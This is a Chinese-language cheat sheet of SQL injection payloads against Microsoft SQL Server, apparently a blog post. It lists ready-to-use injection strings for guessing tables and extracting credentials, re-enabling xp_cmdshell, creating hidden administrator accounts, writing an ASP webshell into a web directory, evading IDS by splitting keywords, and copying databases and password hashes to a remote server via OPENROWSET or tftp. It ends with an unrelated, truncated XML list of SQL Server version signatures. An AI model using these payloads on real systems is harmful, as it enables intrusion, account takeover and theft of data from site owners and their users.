常用SQL注入代码

本文详细介绍SQL注入攻击的各种手法,包括如何判断注入点、猜表、猜字段、获取数据库信息及利用扩展存储过程执行命令等内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --


数字类型
and char(124)%2Buser%2Bchar(124)=0

字符类型
' and char(124)%2Buser%2Bchar(124)=0 and ''='

搜索类型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='

爆用户名
and user>0
' and user>0 and ''='

检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

检测是不是MSSQL数据库
and exists (select * from sysobjects);--

检测是否支持多行
;declare @d int;--

恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--


select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')

//-----------------------
// 执行命令
//-----------------------
首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

执行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--

EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'

判断xp_cmdshell扩展存储过程是否存在:
[url]http://192.168.1.5/display.asp?keyno=188[/url] and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

REG_SZ

读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

读取目录内容
exec master..xp_dirtree 'c:\winnt\system32\',1,1


数据库备份
backup database pubs to disk = 'c:\123.bak'

//爆出长度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--


更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'

添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'

添加扩展存储过过程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
GRANT exec On xp_proxiedadata TO public


停掉或激活某个服务。

exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

只列某个目录下的子目录。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'

dbo.xp_makecab

将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。

dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

xp_terminate_process

停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID

xp_terminate_process 2484

xp_unpackcab

解开压缩档。

xp_unpackcab 'c:\test.cab','c:\temp',1


某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234

create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);

//得到数据库名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases


//在Master中创建表,看看权限怎样
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--

用 sp_makewebtask直接在web目录里写入一句话马:
[url]http://127.0.0.1/dblogin123.asp?username=123[/url]';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--

//更新表内容
Update films SET kind = 'Dramatic' Where id = 123

//删除内容
delete from table_name where Stockid = 3
SQL注射语句的经典总结


SQL注射语句

1.判断有无注入点
' ; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
看xp_cmdshell是否删除

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND
name = 'xp_cmdshell')--

xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc
'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--

反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec
sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add'--

创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点"
-v "e","e:\"'--

访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a
w3svc/1/ROOT/e +browse'

爆库 特殊技巧::%5c='\' 或者把/和\ 修改%5提交


如何得到SQLSERVER某个数据库中所有表的表名?


--------------------------------------------------------------------------------

用户表:
select name from sysobjects where xtype = 'U';

系统表:
select name from sysobjects where xtype = 'S';

所有表:
select name from sysobjects where xtype = 'S' or xtype = 'U';

--------------------------------------------------------------------------------
and 0<>(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)

依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表
假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and
name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare
@test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\',
@value_name='/', values=@test OUTPUT insert into paths(path)
values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$
/add';--
exec master..xp_servicecontrol 'start', 'schedule' 启动服务
exec master..xp_servicecontrol 'start', 'server'
; DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add'
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net
localgroup administrators jiaoniang$ /add'
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to
disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec
master.dbo.sp_addlogin hax')
查询构造:
Select * FROM news Where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and
right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where
xtype='u' and status>0) where name='ffff';--
;update [users] set email=(select top 1 id from sysobjects where xtype='u'
and name='ad') where name='ffff';--
';update [users] set email=(select top 1 name from sysobjects where
xtype='u' and id>581577110) where name='ffff';--
';update [users] set email=(select top 1 count(id) from password) where
name='ffff';--
';update [users] set email=(select top 1 pwd from password where id=2)
where name='ffff';--
';update [users] set email=(select top 1 name from password where id=2)
where name='ffff';--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, 'admin''--', 'password', 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and
status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and
status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and
status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] select top 1 name from
sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [
where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
1、 开启远程数据库
基本语法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',
'select * from table1' )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET('SQLOLEDB',
'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select *
from table'
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123',
'select * from table1') select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table1') select * from table2
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from _sysdatabases')
select * from master.dbo.sysdatabases
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from _sysobjects')
select * from user_database.dbo.sysobjects
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from _syscolumns')
select * from user_database.dbo.syscolumns
复制数据库:
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table1') select * from database..table1
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table2') select * from database..table2
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET('SQLOLEDB',
'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from
_sysxlogins') select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
';create table temp(id nvarchar(255),num1 nvarchar(255),num2
nvarchar(255),num3 nvarchar(255));--
';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
获得所有子目录的目录树结构,并寸入temp表中
';insert into temp(id) exec master.dbo.xp_cmdshell 'type
c:\web\index.asp';-- 查看某个文件的内容
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
(xp_dirtree适用权限PUBLIC)
写入表:
语句1:and 1=(Select IS_SRVROLEMEMBER('sysadmin'));--
语句2:and 1=(Select IS_SRVROLEMEMBER('serveradmin'));--
语句3:and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--
语句4:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--
语句5:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--
语句6:and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--
语句7:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--
语句8:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--
语句9:and 1=(Select IS_MEMBER('db_owner'));--
把路径写到表中去:
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'c:\'--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
and 0<>(select top 1 paths from dirs1)--
把数据库备份到网页目录:下载
;declare @a sysname; set @a=db_name();backup database @a to
disk='e:\web\down.bak';--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where
xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1) from sysobjects)
参看相关表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec
sp_oamethod @o, 'run', NULL, 'notepad.exe'--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
''
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong
to,us', 528
waitfor delay '00:00:05'
'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty
@o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel
servers are belong to us', 528 waitfor delay '00:00:05'--
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree 'c:\'
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree 'c:\'
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
比较好的sql注入工具源码 <?xml version="1.0" ?> - <root> - <signatures release="2008"> - <signature> <version>10.00.1300.13</version> <servicepack>February CTP</servicepack> </signature> - <signature> <version>10.00.1049.14</version> <servicepack>July CTP</servicepack> </signature> - <signature> <version>10.00.1019.17</version> <servicepack>June CTP</servicepack> </signature> </signatures> - <signatures release="2005"> - <signature> <version>9.00.3260</version> <servicepack>2+Q954950</servicepack> </signature> - <signature> <version>9.00.3259</version> <servicepack>2+Q954669</servicepack> </signature> - <signature> <version>9.00.3257</version> <servicepack>2+Q951217</servicepack> </signature> - <signature> <version>9.00.3244</version> <servicepack>2+Q952330</servicepack> </signature> - <signature> <version>9.00.3240</version> <servicepack>2+Q951204</servicepack> </signature> - <signature> <version>9.00.3239</version> <servicepack>2+Q949095</servicepack> </signature> - <signature> <version>9.00.3235</version> <servicepack>2+Q950189</servicepack> </signature> - <signature> <version>9.00.3232</version> <servicepack>2+Q949959</servicepack> </signature> - <signature> <version>9.00.3231</version> <servicepack>2+Q949687</servicepack> </signature> - <signature> <version>9.00.3230</version> <servicepack>2+Q949199</servicepack> </signature> - <signature> <version>9.00.3228</version> <servicepack>2+Q946608</servicepack> </signature> - <signature> <version>9.00.3224</version> <servicepack>2+Q947463</servicepack> </signature> - <signature> <version>9.00.3222</version> <servicepack>2+Q945640</servicepack> </signature> - <signature> <version>9.00.3221</version> <servicepack>2+Q942908</servicepack> </signature> - <signature> <version>9.00.3215</version> <servicepack>2+Q941450</servicepack> </signature> - <signature> <version>9.00.3209</version> <servicepack>2</servicepack> </signature> - <signature> <version>9.00.3208</version> <servicepack>2+Q944902</servicepack> </signature> - <signature> <version>9.00.3206</version> <servicepack>2+Q944677</servicepack> </signature> - <signature> <version>9.00.3205</version> <servicepack>2</servicepack> </signature> - <signature> <version>9.00.3203</version> <servicepack>2</servicepack> </signature> - <signature> <version>9.00.3200</version> <servicepack>2+Q941450</servicepack> </signature> - <signature> <version>9.00.3195</version> <servicepack>2</servicepack> </signature> - <signature> <version>9.00.3194</version> <servicepack>2+Q940933</servicepack> </signature> - <signature> <version>9.00.3186</version> <servicepack>2+Q939562</servicepack> </signature> - <signature> <version>9.00.3182</version> <servicepack>2+Q940128</servicepack> </signature> - <signature> <version>9.00.3180</version> <servicepack>2+Q939942</servicepack> </signature> - <signature> <version>9.00.3179</version> <servicepack>2+Q938243</servicepack> </signature> - <signature> <version>9.00.3178</version> <servicepack>2</servicepack> </signature> - <signature> <version>9.00.3177</version> <servicepack>2+Q939563</servicepack> </signature> - <signature> <version>9.00.3175</version> <servicepack>2+Q936305</servicepack> </signature> - <signature> <version>9.00.3171</version> <servicepack>2+Q937745</servicepack> </signature> - <signature> <version>9.00.3169</version> <servicepack>2+Q937041</servicepack> </signature> - <signature> <version>9.00.3166</version> <servicepack>2+Q936185</servicepack> </signature> - <signature> <version>9.00.3162</version> <servicepack>2+Q932610</servicepack> </signature> - <signature> <version>9.00.3161</version> <servicepack>2+Q935356</servicepack> </signature> - <signature> <version>9.00.3159</version> <servicepack>2+Q934459</servicepack> </signature> - <signature> <version>9.00.3156</version> <servicepack>2+Q934226</servicepack> </signature> - <signature> <version>9.00.3155</version> <servicepack>2+Q933549</servicepack> </signature> - <signature> <version>9.00.3154</version> <servicepack>2+Q934106</servicepack> </signature> - <signature> <version>9.00.3153</version> <servicepack>2+Q933564</servicepack> </signature> - <signature> <version>9.00.3152</version> <servicepack>2+Q933097</servicepack> </signature> - <signature> <version>9.00.3054</version> <servicepack>2+Q934458</servicepack> </signature> - <signature> <version>9.00.3050</version> <servicepack>2+Q933508</servicepack> </signature> - <signature> <version>9.00.3043</version> <servicepack>2+Q933508</servicepack> </signature> - <signature> <version>9.00.3042</version> <servicepack>'Fixed' 2</servicepack> </signature> - <signature> <version>9.00.3033</version> <servicepack>2 CTP</servicepack> </signature> - <signature> <version>9.00.3027</version> <servicepack>2 CTP</servicepack> </signature> - <signature> <version>9.00.3026</version> <servicepack>1+Q929376</servicepack> </signature> - <signature> <version>9.00.2245</version> <servicepack>1+Q933573</servicepack> </signature> - <signature> <version>9.00.2243</version> <servicepack>1+Q944968</servicepack> </signature> - <signature> <version>9.00.2242</version> <servicepack>1+Q943389</servicepack> </signature> - <signature> <version>9.00.2239</version> <servicepack>1+Q940961</servicepack> </signature> - <signature> <version>9.00.2237</version> <servicepack>1+Q940719</servicepack> </signature> - <signature> <version>9.00.2236</version> <servicepack>1+Q940287</servicepack> </signature> - <signature> <version>9.00.2234</version> <servicepack>1+Q937343</servicepack> </signature> - <signature> <version>9.00.2233</version> <servicepack>1+Q933499</servicepack> </signature> - <signature> <version>9.00.2232</version> <servicepack>1+Q937277</servicepack> </signature> - <signature> <version>9.00.2231</version> <servicepack>1+Q934812</servicepack> </signature> - <signature> <version>9.00.2230</version> <servicepack>1+Q936179</servicepack> </signature> - <signature> <version>9.00.2229</version> <servicepack>1+Q935446</servicepack> </signature> - <signature> <version>9.00.2227</version> <servicepack>1+Q934066</servicepack> </signature> - <signature> <version>9.00.2226</version> <servicepack>1+Q933762</servicepack> </signature> - <signature> <version>9.00.2224</version> <servicepack>1+Q932990</servicepack> </signature> - <signature> <version>9.00.2223</version> <servicepack>1+Q932393</servicepack> </signature> - <signature> <version>9.00.2221</version> <servicepack>1+Q931593</servicepack> </signature> - <signature> <version>9.00.2219</version> <servicepack>1+Q931329</servicepack> </signature> - <signature> <version>9.00.2218</version> <servicepack>1+Q931843</servicepack> </signature> - <signature> <version>9.00.2216</version> <servicepack>1+Q931821</servicepack> </signature> - <signature> <version>9.00.2215</version> <servicepack>1+Q931666</servicepack> </signature> - <signature> <version>9.00.2214</version> <servicepack>1+Q929240</servicepack> </signature> - <signature> <version>9.00.2211</version> <servicepack>1+Q930283</servicepack> </signature> - <signature> <version>9.00.2209</version> <servicepack>1+Q929278</servicepack> </signature> - <signature> <version>9.00.2208</version> <servicepack>1+Q929179</servicepack> </signature> - <signature> <version>9.00.2207</version> <servicepack>1+Q928394<</servicepack> </signature> - <signature> <version>9.00.2206</version> <servicepack>1+Q928539</servicepack> </signature> - <signature> <version>9.00.2202</version> <servicepack>1+Q927643</servicepack> </signature> - <signature> <version>9.00.2201</version> <servicepack>1+Q927289</servicepack> </signature> - <signature> <version>9.00.2198</version> <servicepack>1+Q926773</servicepack> </signature> - <signature> <version>9.00.2196</version> <servicepack>1+Q926285</servicepack> </signature> - <signature> <version>9.00.2195</version> <servicepack>1+Q926240</servicepack> </signature> - <signature> <version>9.00.2194</version> <servicepack>1+Q925744</servicepack> </signature> - <signature> <version>9.00.2192</version> <servicepack>1+Q924954</servicepack> </signature> - <signature> <version>9.00.2191</version> <servicepack>1+Q925135</servicepack> </signature> - <signature> <version>9.00.2190</version> <servicepack>1+Q925227</servicepack> </signature> - <signature> <version>9.00.2189</version> <servicepack>1+Q925153</servicepack> </signature> - <signature> <version>9.00.2187</version> <servicepack>1+Q923849</servicepack> </signature> - <signature> <version>9.00.2183</version> <servicepack>1+Q929404</servicepack> </signature> - <signature> <version>9.00.2181</version> <servicepack>1+Q923624</servicepack> </signature> - <signature> <version>9.00.2176</version> <servicepack>1+Q923296</servicepack> </signature> - <signature> <version>9.00.2175</version> <servicepack>1+Q922578</servicepack> </signature> - <signature> <version>9.00.2174</version> <servicepack>1+Q922063</servicepack> </signature> - <signature> <version>9.00.2167</version> <servicepack>1+Q920974</servicepack> </signature> - <signature> <version>9.00.2164</version> <servicepack>1+Q919636</servicepack> </signature> - <signature> <version>9.00.2156</version> <servicepack>1+Q919611</servicepack> </signature> - <signature> <version>9.00.2153</version> <servicepack>1+builds 1531</servicepack> </signature> - <signature> <version>9.00.2050</version> <servicepack>1+.NET Vulnerability fix</servicepack> </signature> - <signature> <version>9.00.2047</version> <servicepack>1 0</servicepack> </signature> - <signature> <version>9.00.2040</version> <servicepack>1 CTP</servicepack> </signature> - <signature> <version>9.00.2029</version> <servicepack>1 Beta</servicepack> </signature> - <signature> <version>9.00.1561</version> <servicepack>0+Q932556</servicepack> </signature> - <signature> <version>9.00.1558</version> <servicepack>0+Q926493</servicepack> </signature> - <signature> <version>9.00.1554</version> <servicepack>0+Q926292</servicepack> </signature> - <signature> <version>9.00.1551</version> <servicepack>0+Q922804</servicepack> </signature> - <signature> <version>9.00.1550</version> <servicepack>0+Q917887</servicepack> </signature> - <signature> <version>9.00.1547</version> <servicepack>0+Q918276</servicepack> </signature> - <signature> <version>9.00.1545</version> <servicepack>0+Q917905</servicepack> </signature> - <signature> <version>9.00.1541</version> <servicepack>0+Q917888</servicepack> </signature> - <signature> <version>9.00.1539</version> <servicepack>0+Q917738</servicepack> </signature> - <signature> <version>9.00.1538</version> <servicepack>0+Q917824</servicepack> </signature> - <signature> <version>9.00.1536</version> <servicepack>0+Q917016</servicepack> </signature> - <signature> <version>9.00.1534</version> 